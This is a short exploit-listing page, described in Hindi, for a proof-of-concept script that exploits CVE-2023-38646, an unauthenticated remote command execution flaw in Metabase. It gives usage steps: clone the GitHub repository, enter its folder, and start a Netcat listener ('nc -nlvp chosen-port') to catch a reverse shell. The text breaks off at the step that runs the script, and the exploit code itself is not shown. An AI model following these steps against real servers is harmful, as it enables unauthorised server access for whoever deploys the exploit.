Exploit for CVE-2023-38646

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-THREATHNTR-CVE-2023-38646
# CVE-2023-38646 PoC

## विवरण

यह एक प्रूफ ऑफ कॉन्सेप्ट (PoC) स्क्रिप्ट है जो Metabase का शोषण करने के लिए है, जो एक ओपन-सोर्स बिजनेस इंटेलिजेंस और डेटा एनालिटिक्स टूल है। Metabase उपयोगकर्ताओं को अपने डेटा को विज़ुअलाइज़ और इंटरैक्ट करने की अनुमति देता है, जो इसे डेटा विश्लेषण के लिए एक शक्तिशाली प्लेटफॉर्म बनाता है।

यह भेद्यता, जिसे CVE-2023-38646 के रूप में नामित किया गया है, हमलावरों को बिना किसी प्रमाणीकरण की आवश्यकता के सर्वर पर मनमाने कमांड निष्पादित करने की अनुमति देती है। इस दोष का प्रभाव गंभीर था, क्योंकि इसने सर्वर के विशेषाधिकार स्तर पर सर्वर तक अनधिकृत पहुंच प्रदान की।

## प्रूफ ऑफ कॉन्सेप्ट (PoC) चरण

![](https://assets.kitploit.com/production/public/readmes/33511/2423ae4b1ebe9e562917620c662b646e128accd333d5fa6691b6ad78c0522bd6.png)

**इस रिपॉजिटरी को क्लोन करें**

root@kitploit:~
    
    
    git clone https://github.com/threatHNTR/CVE-2023-38646.git
    

**रिपॉजिटरी में जाएं**

root@kitploit:~
    
    
    cd CVE-2023-38646
    

**स्क्रिप्ट चलाने से पहले, एक Netcat लिसनर सेट अप करें**

root@kitploit:~
    
    
    nc -nlvp chosen-port
    

**स्क्रिप्ट चलाएं**

root@kitploit:~